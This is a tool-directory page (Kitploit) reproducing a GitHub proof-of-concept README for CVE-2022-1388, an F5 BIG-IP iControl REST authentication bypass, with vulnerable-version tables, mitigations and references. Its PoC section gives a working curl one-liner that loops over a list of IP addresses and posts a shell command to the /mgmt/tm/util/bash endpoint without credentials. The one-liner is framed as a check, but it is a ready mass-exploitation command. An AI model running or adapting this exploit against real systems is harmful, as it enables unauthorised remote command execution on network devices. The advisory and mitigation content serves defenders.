Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-1388 — BIG-IP iControl REST vulnerability CVE-2022-1388 PoC | Kitploit
Tools/GitHubGitHub/shamo0/cve-2022-1388
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed Teaming
GitHubshamo0/cve-2022-1388

CVE-2022-1388

BIG-IP iControl REST vulnerability CVE-2022-1388 PoC

View Repository
1474 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

BIG-IP iControl REST vulnerability CVE-2022-1388 PoC

f5logo

This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services

PoC

You can use the following curl one liner to check for the F5 Big-IP vulnerability or use the provided python script.

root@kitploit:~
cat ips.txt | while read ip; do curl -su admin -H "Content-Type: application/json" http://$ip/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}';done

Vulnerable Versions (Big-IP)

Download Tool
BranchVulnerable VersionsFixes Introduced
11.x11.6.1-11.6.5No Fix
12.x12.1.0-12.1.6No Fix
13.x13.1.0-13.1.413.1.5
14.x14.1.0-14.1.414.1.4.6
15.x15.1.0-15.1.515.1.5.1
16.x16.1.0-16.1.216.1.2.2
17.xNone17.0.0

Mitigation

  • Upgrade to the fixed version in ```Fixes Introduced``` Column. (Preferred Method)
  • Block iControl REST access through the self IP address
  • Block iControl REST access through the management interface
  • Modify the BIG-IP httpd configuration

For more information about mitigation check out the references.

References

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
  • https://support.f5.com/csp/article/K23605346
  • https://github.com/ZephrFish/F5-CVE-2022-1388-Exploit